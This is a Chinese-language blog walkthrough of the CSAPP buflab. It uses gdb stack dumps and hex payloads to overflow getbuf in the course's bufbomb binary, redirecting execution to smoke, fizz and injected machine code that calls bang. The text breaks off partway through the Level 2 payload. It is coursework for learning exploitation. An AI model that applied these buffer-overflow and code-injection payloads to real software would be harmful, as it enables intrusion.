

<!DOCTYPE html>
<html lang="zh-CN" data-default-color-scheme=&#34;light&#34;>



<head>
  <meta charset="UTF-8">
  <link rel="apple-touch-icon" sizes="76x76" href="https://cdn.jsdelivr.net/gh/kzwrime/kzwrime.github.io/img/favicon.png">
  <link rel="icon" type="image/png" href="https://tuchuangrrr.oss-cn-shenzhen.aliyuncs.com/img/kunnan.png">
  <meta name="viewport"
        content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, shrink-to-fit=no">
  <meta http-equiv="x-ua-compatible" content="ie=edge">
  
  <meta name="theme-color" content="#2f4154">
  <meta name="description" content="">
  <meta name="author" content="霜华">
  <meta name="keywords" content="">
  <title>buflab - kunzh</title>

  <link  rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/4.4.1/css/bootstrap.min.css" />


  <link  rel="stylesheet" href="https://cdn.staticfile.org/github-markdown-css/4.0.0/github-markdown.min.css" />
  <link  rel="stylesheet" href="/lib/hint/hint.min.css" />

  
    
    
      
      <link  rel="stylesheet" href="https://cdn.staticfile.org/highlight.js/10.0.0/styles/atelier-lakeside-dark.min.css" />
    
  

  


<!-- 主题依赖的图标库，不要自行修改 -->

<link rel="stylesheet" href="//at.alicdn.com/t/font_1749284_pf9vaxs7x7b.css">



<link rel="stylesheet" href="//at.alicdn.com/t/font_1736178_kmeydafke9r.css">


<link  rel="stylesheet" href="/css/main.css" />

<!-- 自定义样式保持在最底部 -->


  <script  src="/js/utils.js" ></script>
  <script  src="/js/color-schema.js" ></script>
</head>


<body>
  <header style="height: 60vh;">
    <nav id="navbar" class="navbar fixed-top  navbar-expand-lg navbar-dark scrolling-navbar">
  <div class="container">
    <a class="navbar-brand"
       href="/">&nbsp;<strong>kunzh</strong>&nbsp;</a>

    <button id="navbar-toggler-btn" class="navbar-toggler" type="button" data-toggle="collapse"
            data-target="#navbarSupportedContent"
            aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
      <div class="animated-icon"><span></span><span></span><span></span></div>
    </button>

    <!-- Collapsible content -->
    <div class="collapse navbar-collapse" id="navbarSupportedContent">
      <ul class="navbar-nav ml-auto text-center">
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/">
                <i class="iconfont icon-home-fill"></i>
                首页
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/archives/">
                <i class="iconfont icon-archive-fill"></i>
                归档
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/categories/">
                <i class="iconfont icon-category-fill"></i>
                分类
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/tags/">
                <i class="iconfont icon-tags-fill"></i>
                标签
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/about/">
                <i class="iconfont icon-user-fill"></i>
                关于
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/links/">
                <i class="iconfont icon-link-fill"></i>
                友链
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/shuoshuo2/">
                <i class="iconfont icon-speakernotes"></i>
                留言板
              </a>
            </li>
          
        
        
          <li class="nav-item" id="search-btn">
            <a class="nav-link" data-toggle="modal" data-target="#modalSearch">&nbsp;<i
                class="iconfont icon-search"></i>&nbsp;</a>
          </li>
        
        
          <li class="nav-item" id="color-toggle-btn">
            <a class="nav-link" href="javascript:">&nbsp;<i
                class="iconfont icon-dark" id="color-toggle-icon"></i>&nbsp;</a>
          </li>
        
      </ul>
    </div>
  </div>
</nav>

    <div class="banner intro-2" id="background" parallax=true
         style="background: url('https://rainrime.top/img/SloveniaAlps.jpg') no-repeat center center;
           background-size: cover;">
      <div class="full-bg-img">
        <div class="mask flex-center" style="background-color: rgba(0, 0, 0, 0.3)">
          <div class="container page-header text-center fade-in-up">
            <span class="h2" id="subtitle">
              
            </span>

            
              <div class="mt-3">
  
  
    <span class="post-meta">
      <i class="iconfont icon-date-fill" aria-hidden="true"></i>
      <time datetime="2020-11-14 14:50" pubdate>
        2020年11月14日 下午
      </time>
    </span>
  
</div>

<div class="mt-1">
  
    
    <span class="post-meta mr-2">
      <i class="iconfont icon-chart"></i>
      4k 字
    </span>
  

  
    
    <span class="post-meta mr-2">
      <i class="iconfont icon-clock-fill"></i>
      
      
      70
       分钟
    </span>
  

  
  
    
      <!-- LeanCloud 统计文章PV -->
      <span id="leancloud-post-views-container" class="post-meta" style="display: none">
        <i class="iconfont icon-eye" aria-hidden="true"></i>
        <span id="leancloud-post-views"></span> 次
      </span>
    
  
</div>

            
          </div>

          
        </div>
      </div>
    </div>
  </header>

  <main>
    
      

<div class="container-fluid">
  <div class="row">
    <div class="d-none d-lg-block col-lg-2"></div>
    <div class="col-lg-8 nopadding-md">
      <div class="container nopadding-md" id="board-ctn">
        <div class="py-5" id="board">
          <article class="post-content mx-auto" id="post">
            <!-- SEO header -->
            <h1 style="display: none">buflab</h1>
            
            <div class="markdown-body" id="post-body">
              <h1 id="buflab"><a class="markdownIt-Anchor" href="#buflab"></a> BufLab</h1>
<p>说明：</p>
<ol>
<li>这是个 32 位的文件，请在可执行 32 位程序的环境下执行，wsl 用户可参考 <a target="_blank" rel="noopener" href="https://www.cnblogs.com/TatuCz/p/10330820.html">https://www.cnblogs.com/TatuCz/p/10330820.html</a></li>
<li>本文的 <code>userid</code> 均使用 <code>zhikun</code></li>
<li>educoder 上面那个是 2e 版的 ！！！本文是按 3e 版做的，写完才发现，不改了。思路一模一样。</li>
<li>以下的输入都存放在 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>i</mi><mi>n</mi><mi>p</mi><mi>u</mi><mi>t</mi><mi>X</mi><mi mathvariant="normal">.</mi><mi>t</mi><mi>x</mi><mi>t</mi></mrow><annotation encoding="application/x-tex">inputX.txt</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">i</span><span class="mord mathdefault">n</span><span class="mord mathdefault">p</span><span class="mord mathdefault">u</span><span class="mord mathdefault">t</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mord">.</span><span class="mord mathdefault">t</span><span class="mord mathdefault">x</span><span class="mord mathdefault">t</span></span></span></span> 中，然后 <code>.hex2raw &lt; inputX.txt &gt; inputX-raw.txt</code> 得到对应字符串输入，其中 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>X</mi><mo>∈</mo><mo stretchy="false">{</mo><mn>1</mn><mo separator="true">,</mo><mn>2...5</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">X \in \{1,2...5\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.72243em;vertical-align:-0.0391em;"></span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">2</span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord">5</span><span class="mclose">}</span></span></span></span></li>
<li>input-raw.txt 的内容为 11223344, 仅做试验</li>
</ol>
<p>以下为正文</p>
<hr />
<p>日常操作，照样先反汇编一下</p>
<pre><code class="hljs css"><span class="hljs-selector-tag">objdump</span> <span class="hljs-selector-tag">-d</span> <span class="hljs-selector-tag">bufbomb</span> &gt; <span class="hljs-selector-tag">bufbomb</span><span class="hljs-selector-class">.s</span></code></pre>
<p>另外放<code>getbuf</code>在这里</p>
<pre><code class="hljs c"> <span class="hljs-comment">/* Buffer size for getbuf */</span>
 <span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> NORMAL_BUFFER_SIZE 32</span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">getbuf</span><span class="hljs-params">()</span></span>
<span class="hljs-function"></span>&#123;
    <span class="hljs-keyword">char</span> bur[NORMAL_BUFFER_SIZE];
    Gets(buf);
    <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
&#125;</code></pre>
<p>汇编如下</p>
<pre><code class="hljs assembly">080491f4 &lt;getbuf&gt;:
 80491f4:	55                   	push   %ebp
 80491f5:	89 e5                	mov    %esp,%ebp
 80491f7:	83 ec 38             	sub    $0x38,%esp
 80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax
 80491fd:	89 04 24             	mov    %eax,(%esp)
 8049200:	e8 f5 fa ff ff       	call   8048cfa &lt;Gets&gt;
 8049205:	b8 01 00 00 00       	mov    $0x1,%eax
 804920a:	c9                   	leave  
 804920b:	c3                   	ret</code></pre>
<h2 id="level-0-candle"><a class="markdownIt-Anchor" href="#level-0-candle"></a> Level 0: Candle</h2>
<p>此题需要修改 return 的地址，跳转到另一个函数开头</p>
<p>两段需要的代码</p>
<pre><code class="hljs c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">test</span><span class="hljs-params">()</span></span>
<span class="hljs-function"></span>&#123;
    <span class="hljs-keyword">int</span> val;
    <span class="hljs-comment">/* Put canary on stack to detect possible corruption*/</span>
    <span class="hljs-keyword">volatile</span> <span class="hljs-keyword">int</span> local = uniqueval();
    
    val = getbuf();
    
    <span class="hljs-comment">/*Check for corrupted stack*/</span>
    <span class="hljs-keyword">if</span>(local != uniqueval)&#123;
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Sabotaged:the stack has been corrupted\n&quot;</span>);
    &#125;
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(val == cookie)&#123;
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Boom!:getbuf returned 0x%x\n&quot;</span>,val);
        validate(<span class="hljs-number">3</span>);
    &#125;<span class="hljs-keyword">else</span>&#123;
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Dud:getbuf return 0x%x\n&quot;</span>,val);
    &#125;
&#125;</code></pre>
<pre><code class="hljs c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">smoke</span><span class="hljs-params">()</span></span>
<span class="hljs-function"></span>&#123;
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Smoke!: You called smoke()\n&quot;</span>);
    validate(<span class="hljs-number">0</span>);
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
&#125;</code></pre>
<p><code>test</code>汇编如下</p>
<pre><code class="hljs assembly">08048daa &lt;test&gt;:
 ...
 8048db6:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048db9:	e8 36 04 00 00       	call   80491f4 &lt;getbuf&gt;
 8048dbe:	89 c3                	mov    %eax,%ebx
 8048dc0:	e8 cb ff ff ff       	call   8048d90 &lt;uniqueval&gt;
 ....</code></pre>
<p><code>smoke</code>汇编如下，得到其开头地址。</p>
<pre><code class="hljs assembly">08048c18 &lt;smoke&gt;:
 8048c18:	55                   	push   %ebp
 8048c19:	89 e5                	mov    %esp,%ebp
 8048c1b:	83 ec 18             	sub    $0x18,%esp
 8048c1e:	c7 04 24 d3 a4 04 08 	movl   $0x804a4d3,(%esp)
 8048c25:	e8 96 fc ff ff       	call   80488c0 &lt;puts@plt&gt;
 8048c2a:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c31:	e8 45 07 00 00       	call   804937b &lt;validate&gt;
 8048c36:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c3d:	e8 be fc ff ff       	call   8048900 &lt;exit@plt&gt;</code></pre>
<p>下面到 gdb 里面调试，第一次运行，主要目的为：</p>
<ul>
<li>确认断点正确</li>
<li>确认输入方式正确</li>
<li>确认 buf 开头位置，确认返回地址位置</li>
</ul>
<p>尝试的输入为：</p>
<pre><code class="hljs angelscript"><span class="hljs-number">11223344</span></code></pre>
<pre><code class="hljs assembly">(gdb) b *0x8049205
Breakpoint 1 at 0x8049205
(gdb) r -u zhikun &lt; input-raw.txt 
Starting program: &#x2F;home&#x2F;uusl&#x2F;document&#x2F;csapp&#x2F;labs&#x2F;buflab-handout3&#x2F;bufbomb -u zhikun &lt; input-raw.txt
Userid: zhikun
Cookie: 0x45092563

Breakpoint 1, 0x08049205 in getbuf ()
(gdb) disass getbuf
Dump of assembler code for function getbuf:
   0x080491f4 &lt;+0&gt;:     push   %ebp
   0x080491f5 &lt;+1&gt;:     mov    %esp,%ebp
   0x080491f7 &lt;+3&gt;:     sub    $0x38,%esp
   0x080491fa &lt;+6&gt;:     lea    -0x28(%ebp),%eax
   0x080491fd &lt;+9&gt;:     mov    %eax,(%esp)
   0x08049200 &lt;+12&gt;:    call   0x8048cfa &lt;Gets&gt;
&#x3D;&gt; 0x08049205 &lt;+17&gt;:    mov    $0x1,%eax
   0x0804920a &lt;+22&gt;:    leave  
   0x0804920b &lt;+23&gt;:    ret    
End of assembler dump.
(gdb) x&#x2F;20x $sp
0x55683228 &lt;_reserved+1036840&gt;: 0x55683238      0xf7fc0404      0x7291e836      0x69583700
0x55683238 &lt;_reserved+1036856&gt;: 0x32323131      0x34343333      0x00000000      0x08048da8
0x55683248 &lt;_reserved+1036872&gt;: 0x000057b7      0xf7fc0000      0x55683290      0xf7ef0e6e
0x55683258 &lt;_reserved+1036888&gt;: 0xf7fc0d80      0x0804a57e      0x55683290      0x08048dbe
0x55683268 &lt;_reserved+1036904&gt;: 0xf7fe4f69      0x00000000      0x55686580      0xf7fd00c0</code></pre>
<p>其中的<code>0x08048dbe</code>即为返回<code>test</code>的地址(注意这里是32位，地址也是32位的)，距离我们的输入<code>11223344</code>即<code>0x32323131 0x34343333</code>不远（即为 buf 的起始地址，接下来要用到），直接把smoke的起始地址<code>08048c18</code>覆盖原先 return 的地址即可。</p>
<p><img src="https://tuchuangrrr.oss-cn-shenzhen.aliyuncs.com/img/buflab-diagram-stack1.png" srcset="/img/loading.gif" alt="buflab-diagram-stack1" /></p>
<p>更改输入为</p>
<pre><code class="hljs basic"><span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">18</span> <span class="hljs-number">8</span>c <span class="hljs-number">04</span> <span class="hljs-number">08</span></code></pre>
<p>成功得到</p>
<pre><code class="hljs assembly">(gdb) r -u zhikun &lt; input1-raw.txt 
Starting program: &#x2F;home&#x2F;uusl&#x2F;document&#x2F;csapp&#x2F;labs&#x2F;buflab-handout3&#x2F;bufbomb -u zhikun &lt; input1-raw.txt
Userid: zhikun
Cookie: 0x45092563
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
[Inferior 1 (process 22527) exited normally]</code></pre>
<h2 id="level-1-sparkler"><a class="markdownIt-Anchor" href="#level-1-sparkler"></a> Level 1: Sparkler</h2>
<p>此题需要修改，来假装调用 fizz，也就是在第一题的基础上传参（由汇编可知此处的参数用栈传递）</p>
<p>函数<code>fizz</code>的 c 代码和反汇编代码如下：</p>
<pre><code class="hljs c"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">fizz</span><span class="hljs-params">(<span class="hljs-keyword">int</span> val)</span></span>
<span class="hljs-function"></span>&#123;
    <span class="hljs-keyword">if</span> (val == cookie) &#123;
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Fizz!: You called fizz(0x%x)\n&quot;</span>, val);
        validate(<span class="hljs-number">1</span>);
    &#125; <span class="hljs-keyword">else</span>
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Misfire: You called fizz(0x%x)\n&quot;</span>, val);
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>); 
&#125;</code></pre>
<pre><code class="hljs assembly">08048c42 &lt;fizz&gt;:
 8048c42:	55                   	push   %ebp
 8048c43:	89 e5                	mov    %esp,%ebp
 8048c45:	83 ec 18             	sub    $0x18,%esp
 8048c48:	8b 45 08             	mov    0x8(%ebp),%eax
 8048c4b:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048c51:	75 26                	jne    8048c79 &lt;fizz+0x37&gt;
 8048c53:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048c57:	c7 44 24 04 ee a4 04 	movl   $0x804a4ee,0x4(%esp)
 8048c5e:	08 
 8048c5f:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c66:	e8 55 fd ff ff       	call   80489c0 &lt;__printf_chk@plt&gt;</code></pre>
<p>先试一下 return 到 fizz，输入如下，有规律的输入方便定位：</p>
<pre><code class="hljs basic"><span class="hljs-symbol">12 </span><span class="hljs-number">12</span> <span class="hljs-number">12</span> <span class="hljs-number">12</span> <span class="hljs-number">21</span> <span class="hljs-number">21</span> <span class="hljs-number">21</span> <span class="hljs-number">21</span>
<span class="hljs-symbol">13 </span><span class="hljs-number">13</span> <span class="hljs-number">13</span> <span class="hljs-number">13</span> <span class="hljs-number">31</span> <span class="hljs-number">31</span> <span class="hljs-number">31</span> <span class="hljs-number">31</span>
<span class="hljs-symbol">14 </span><span class="hljs-number">14</span> <span class="hljs-number">14</span> <span class="hljs-number">14</span> <span class="hljs-number">41</span> <span class="hljs-number">41</span> <span class="hljs-number">41</span> <span class="hljs-number">41</span>
<span class="hljs-symbol">15 </span><span class="hljs-number">15</span> <span class="hljs-number">15</span> <span class="hljs-number">15</span> <span class="hljs-number">51</span> <span class="hljs-number">51</span> <span class="hljs-number">51</span> <span class="hljs-number">51</span>
<span class="hljs-symbol">16 </span><span class="hljs-number">16</span> <span class="hljs-number">16</span> <span class="hljs-number">16</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">42</span> <span class="hljs-number">8</span>c <span class="hljs-number">04</span> <span class="hljs-number">08</span></code></pre>
<p>gdb 中调试的情况为，调试的目的为：</p>
<ul>
<li>确认 buf 溢出且调用 fizz 后，栈的情况，以辨认传参与 buf 开头的相对位置</li>
<li>确认 <code>cmp 0x804d108,%eax</code> 里面 cookie 的情况</li>
</ul>
<pre><code class="hljs assembly">(gdb) b *0x8048c48
Breakpoint 1 at 0x8048c48
(gdb) r -u zhikun &lt; input2-raw.txt 
Starting program: &#x2F;home&#x2F;uusl&#x2F;document&#x2F;csapp&#x2F;labs&#x2F;buflab-handout3&#x2F;bufbomb -u zhikun &lt; input2-raw.txt
Userid: zhikun
Cookie: 0x45092563

Breakpoint 1, 0x08048c48 in fizz ()
(gdb) x&#x2F;40x $sp
0x5568324c &lt;_reserved+1036876&gt;: 0x41414141      0x15151515      0x51515151      0x16161616
0x5568325c &lt;_reserved+1036892&gt;: 0x61616161      0x00000000      0x00000000      0xf7fe4f00
0x5568326c &lt;_reserved+1036908&gt;: 0x00000000      0x55686580      0xf7fd00c0      0x55685ff0
0x5568327c &lt;_reserved+1036924&gt;: 0xf7feadc0      0x00000d40      0x1c8f220e      0x55686580
0x5568328c &lt;_reserved+1036940&gt;: 0x00000000      0x55685ff0      0x08048f07      0x00000001
0x5568329c &lt;_reserved+1036956&gt;: 0x0804a57e      0x00001fa0      0x00000000      0x00000000
0x556832ac &lt;_reserved+1036972&gt;: 0x00000000      0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4
0x556832bc &lt;_reserved+1036988&gt;: 0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4
0x556832cc &lt;_reserved+1037004&gt;: 0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4
0x556832dc &lt;_reserved+1037020&gt;: 0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4      0xf4f4f4f4
(gdb) i r $ebp
ebp            0x55683264       0x55683264 &lt;_reserved+1036900&gt;
(gdb) x&#x2F;8x $ebp
0x55683264 &lt;_reserved+1036900&gt;: 0x00000000      0xf7fe4f00      0x00000000      0x55686580
0x55683274 &lt;_reserved+1036916&gt;: 0xf7fd00c0      0x55685ff0      0xf7feadc0      0x00000d40
(gdb) x&#x2F;20x 0x804d108
0x804d108 &lt;cookie&gt;:     0x45092563      0xf7fc05c0      0x00000000      0x00000000
0x804d118 &lt;userid&gt;:     0x55686160      0x00000000      0x55685ff8      0x00000000
0x804d128:      0x00000000      0x00000000      0x00000000      0x00000000
0x804d138:      0x00000000      0x00000000      0x31203231      0x32312032
0x804d148 &lt;gets_buf+8&gt;: 0x20323120      0x32203132      0x31322031      0x20313220</code></pre>
<p>栈的情况如图，后面就不画了：</p>
<p><img src="https://tuchuangrrr.oss-cn-shenzhen.aliyuncs.com/img/buflab-diagram-stack2.jpg" srcset="/img/loading.gif" alt="buflab-diagram-stack2" /></p>
<p>把后面改成 cookie 即可</p>
<pre><code class="hljs basic"><span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">42</span> <span class="hljs-number">8</span>c <span class="hljs-number">04</span> <span class="hljs-number">08</span>
<span class="hljs-symbol">00 </span><span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">63</span> <span class="hljs-number">25</span> <span class="hljs-number">09</span> <span class="hljs-number">45</span></code></pre>
<p>成功</p>
<pre><code class="hljs routeros">(gdb) r -u zhikun &lt; input2-raw.txt 
Starting program: /home/uusl/document/csapp/labs/buflab-handout3/bufbomb -u zhikun &lt; input2-raw.txt
Userid: zhikun
Cookie: 0x45092563
Type string:Fizz!: You called fizz(0x45092563)
VALID
NICE JOB!
[Inferior 1 (process 1736) exited normally]</code></pre>
<h2 id="level-2-firecracker"><a class="markdownIt-Anchor" href="#level-2-firecracker"></a> Level 2: Firecracker</h2>
<p>此题需要调用 bang 且修改 global_value 的值，以运行 bang 的第一个分支。手段为 ret 到注入的二进制攻击代码，相当于执行了几句汇编再调用 bang。</p>
<p>c 代码如下:</p>
<pre><code class="hljs c"><span class="hljs-keyword">int</span> global_value = <span class="hljs-number">0</span>;
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">bang</span><span class="hljs-params">(<span class="hljs-keyword">int</span> val)</span></span>
<span class="hljs-function"></span>&#123;
    <span class="hljs-keyword">if</span> (global_value == cookie)
    &#123;
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Bang!: You set global_value to 0x%x\n&quot;</span>, global_value);
        validate(<span class="hljs-number">2</span>);
    &#125;
    <span class="hljs-keyword">else</span>
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Misfire: global_value = 0x%x\n&quot;</span>, global_value);
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
&#125;</code></pre>
<p>反汇编如下，可知 bang 开头地址和 global_value， cookie 地址：</p>
<pre><code class="hljs assembly">08048c9d &lt;bang&gt;:
 8048c9d:	55                   	push   %ebp
 8048c9e:	89 e5                	mov    %esp,%ebp
 8048ca0:	83 ec 18             	sub    $0x18,%esp
 8048ca3:	a1 00 d1 04 08       	mov    0x804d100,%eax
 8048ca8:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048cae:	75 26                	jne    8048cd6 &lt;bang+0x39&gt;
 8048cb0:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cb4:	c7 44 24 04 60 a3 04 	movl   $0x804a360,0x4(%esp)
 8048cbb:	08 
 8048cbc:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048cc3:	e8 f8 fc ff ff       	call   80489c0 &lt;__printf_chk@plt&gt;
 8048cc8:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048ccf:	e8 a7 06 00 00       	call   804937b &lt;validate&gt;
 8048cd4:	eb 18                	jmp    8048cee &lt;bang+0x51&gt;
 8048cd6:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cda:	c7 44 24 04 0c a5 04 	movl   $0x804a50c,0x4(%esp)
 8048ce1:	08 
 8048ce2:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048ce9:	e8 d2 fc ff ff       	call   80489c0 &lt;__printf_chk@plt&gt;
 8048cee:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048cf5:	e8 06 fc ff ff       	call   8048900 &lt;exit@plt&gt;</code></pre>
<p>这次要求注入二进制攻击指令，由上述汇编可判断 global_value 在 0x804d108 中，直接把 cookie 拷过去，然后调用 bang 即可</p>
<pre><code class="hljs assembly">mov 0x804d108,%eax
mov %eax,0x804d100
push $0x8048c9d
ret</code></pre>
<p>编译但不链接(-c)：</p>
<pre><code class="hljs apache"><span class="hljs-attribute">gcc</span> -m<span class="hljs-number">32</span> level<span class="hljs-number">2</span>.s -c</code></pre>
<pre><code class="hljs assembly">level2.o:     file format elf32-i386


Disassembly of section .text:

00000000 &lt;.text&gt;:
   0:	a1 08 d1 04 08       	mov    0x804d108,%eax
   5:	a3 00 d1 04 08       	mov    %eax,0x804d100
   a:	68 9d 8c 04 08       	push   $0x8048c9d
   f:	c3                   	ret</code></pre>
<p>回去 Level0 看看栈长什么样</p>
<pre><code class="hljs angelscript">(gdb) x/<span class="hljs-number">20</span>x $sp
<span class="hljs-number">0x55683228</span> &lt;_reserved+<span class="hljs-number">1036840</span>&gt;: <span class="hljs-number">0x55683238</span>      <span class="hljs-number">0xf7fc0404</span>      <span class="hljs-number">0x7291e836</span>      <span class="hljs-number">0x69583700</span>
<span class="hljs-number">0x55683238</span> &lt;_reserved+<span class="hljs-number">1036856</span>&gt;: <span class="hljs-number">0x32323131</span>      <span class="hljs-number">0x34343333</span>      <span class="hljs-number">0x00000000</span>      <span class="hljs-number">0x08048da8</span>
<span class="hljs-number">0x55683248</span> &lt;_reserved+<span class="hljs-number">1036872</span>&gt;: <span class="hljs-number">0x000057b7</span>      <span class="hljs-number">0xf7fc0000</span>      <span class="hljs-number">0x55683290</span>      <span class="hljs-number">0xf7ef0e6e</span>
<span class="hljs-number">0x55683258</span> &lt;_reserved+<span class="hljs-number">1036888</span>&gt;: <span class="hljs-number">0xf7fc0d80</span>      <span class="hljs-number">0x0804a57e</span>      <span class="hljs-number">0x55683290</span>      <span class="hljs-number">0x08048dbe</span>
<span class="hljs-number">0x55683268</span> &lt;_reserved+<span class="hljs-number">1036904</span>&gt;: <span class="hljs-number">0xf7fe4f69</span>      <span class="hljs-number">0x00000000</span>      <span class="hljs-number">0x55686580</span>      <span class="hljs-number">0xf7fd00c0</span></code></pre>
<p>0x55683238 就是 buf 的起始地址，也就是将要存放我们攻击指令的地方，return 到此处即可，因此输入如下</p>
<pre><code class="hljs angelscript">a1 <span class="hljs-number">08</span> d1 <span class="hljs-number">04</span> <span class="hljs-number">08</span> a3 <span class="hljs-number">00</span> d1
<span class="hljs-number">04</span> <span class="hljs-number">08</span> <span class="hljs-number">68</span> <span class="hljs-number">9</span>d <span class="hljs-number">8</span>c <span class="hljs-number">04</span> <span class="hljs-number">08</span> c3
<span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
